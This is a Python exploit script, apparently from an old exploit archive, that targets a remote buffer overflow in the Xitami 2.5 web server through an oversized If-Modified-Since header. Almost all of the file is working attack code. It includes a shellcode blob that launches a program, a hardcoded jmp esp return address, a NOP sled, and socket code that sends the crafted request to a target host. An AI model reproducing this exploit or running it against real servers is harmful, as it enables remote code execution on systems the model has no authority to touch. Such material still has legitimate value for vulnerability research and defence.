64 lines
No EOL
1.8 KiB
Python
Executable file
64 lines
No EOL
1.8 KiB
Python
Executable file
#!/usr/bin/python
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# Xitami Web Server 2.5 (If-Modified-Since) 0day Remote Buffer Overflow Exploit
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# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
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# Tested on: Xitami 2.5c2 / XP SP2 Polish
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# Shellcode: Windows Execute Command (calc) <metasploit.com>
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# Details:..
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#
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# [Module xigui32.exe]
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# If-Modified-Since: Evil, ["A" * 76]\r\n
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# EIP 41414141
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#
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# [Module xitami.exe]
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# If-Modified-Since: Evil, ["A" * 104]\r\n
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# EIP 41414141
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#
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# Product Homepage: http://www.xitami.com/
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# Just for fun ;)
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##
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from struct import pack
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from time import sleep
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from socket import *
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host = "192.168.0.1"
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port = 80
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shellcode = (
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"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d\x6c\xf6"
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"\xb2\x83\xeb\xfc\xe2\xf4\x71\x84\xb2\xb2\x8d\x6c\x7d\xf7\xb1\xe7"
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"\x8a\xb7\xf5\x6d\x19\x39\xc2\x74\x7d\xed\xad\x6d\x1d\xfb\x06\x58"
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"\x7d\xb3\x63\x5d\x36\x2b\x21\xe8\x36\xc6\x8a\xad\x3c\xbf\x8c\xae"
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"\x1d\x46\xb6\x38\xd2\xb6\xf8\x89\x7d\xed\xa9\x6d\x1d\xd4\x06\x60"
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"\xbd\x39\xd2\x70\xf7\x59\x06\x70\x7d\xb3\x66\xe5\xaa\x96\x89\xaf"
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"\xc7\x72\xe9\xe7\xb6\x82\x08\xac\x8e\xbe\x06\x2c\xfa\x39\xfd\x70"
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"\x5b\x39\xe5\x64\x1d\xbb\x06\xec\x46\xb2\x8d\x6c\x7d\xda\xb1\x33"
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"\xc7\x44\xed\x3a\x7f\x4a\x0e\xac\x8d\xe2\xe5\x9c\x7c\xb6\xd2\x04"
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"\x6e\x4c\x07\x62\xa1\x4d\x6a\x0f\x97\xde\xee\x6c\xf6\xb2")
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opcode = pack("<L", 0x7CA76981) # jmp esp (shell32.dll / XP SP2 Polish)
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jmpcode = "\xeb\x22" # jmp short +0x22
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buf = "A" * 72 # (76 - 4) xigui32.exe
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buf += opcode
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buf += jmpcode
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buf += "\x90" * 128
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buf += shellcode
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header = (
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'GET / HTTP/1.1\r\n'
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'Host: %s\r\n'
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'If-Modified-Since: Evil, %s\r\n'
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'\r\n') % (host, buf)
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s = socket(AF_INET, SOCK_STREAM)
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s.connect((host, port))
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s.send(header)
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sleep(1)
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s.close()
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print "DONE"
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# EoF
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# milw0rm.com [2007-09-24] |